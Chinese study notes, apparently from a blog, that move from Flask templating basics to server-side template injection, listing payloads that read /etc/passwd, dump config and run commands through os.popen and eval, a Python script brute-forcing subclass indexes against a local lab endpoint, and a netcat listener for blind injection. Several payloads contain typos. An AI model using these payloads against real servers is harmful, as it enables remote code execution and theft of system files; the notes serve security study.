开启

flask

host='0.0.0.0'

监听自身地址

debug debug=True 只在学习中用

      1.自动识别错误

        2.自动更新路由

         3.自动更新地址

动态构建URL

flask模板

视图函数主要作用生成请求的响应

def hello():

       return "1"

使用模板使用静态页面展示动态内容

render_template 加载html文件默认文件路径在templates目录下

1、在index.html写入

<br>

{{  my_str  }}

2、或者{%   set a='dazhuang'   %}{{  a  }}

3、my_str = request.args.get('ben')不要忘记@app.route('路径')url/路径?ben=666 html的显示666

4、return render_template_string('<html lang="en"><head><meta charset="UTF-8"><title>Title</title></head><body>页面<br>%s</body></html>' % my_str)

两个参数其中my_int=request.args.get('ben');

注入模板漏洞

Flask代码不严谨

没有严格控制用户输入

{{7*7}}显示49,会执行

继承关系和魔术方法

最终父类都是object

class B(A) 子类(父类)

class C(B)

c.__class__               <class'__main__C'>当前类C

c.__class__.__base__                  <class'__main__.B'>当前类C的父类B

c.__class__.__mro__                 列出所有父类的关系

c.__class__.base__.__subclasses__()                B类下的所有子类或者用mro[1]

117是os._wrap

文件读取

查找子类

_frozen_importlib_external.FileLoader

{{''.__class__.mro__[1].__subclasses__()[]["get_data"](0,"/etc/passwd")}}

flag在配置文件{{config}}

内嵌函数eval执行命令

{{''.__class__.bases__[0].__subclasses__()[].__init__.globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}

OS模块执行命令

{{self.__dict__._TemplateReference__context.keys()}}

通过config.__class__.init__globals__['os'].popen('whoami'.read())

通过{{url_for.__globals__.os.oppen('').read()}}

在已经加载过OS模块的子类直接调用os模块

{{".__class__.bases__[0].__subclasses__()[].__init__.globals__['os'].popen("").read()}}

importlib类执行命令

查找_frozen_importlib.BuiltinImporter

{{().__class__.__base__.__subclasses__()[]["load_module"]("os")["popen"]("").read()}}

绕过{{}}

import requests
url="http://127.0.0.1:5000/level/2"
for i in range(300):
    try:
        data={"code":'{% if "".__class__.__base__.__subclasses__()['+str(i)+'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}Benben{% endif %}'}
        response=requests.post(url,data=data)
        if response.status_code==200:
            if "Benben" in response.text:
                print(i,"-->",data)
                break
    except:
        pass

SSTI盲注思路

再用nc -lvp 7777监听

对中括号的过滤

request绕过单双引号过滤

request在flask中可以访问基于HTTP请求的传递所有的信息

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐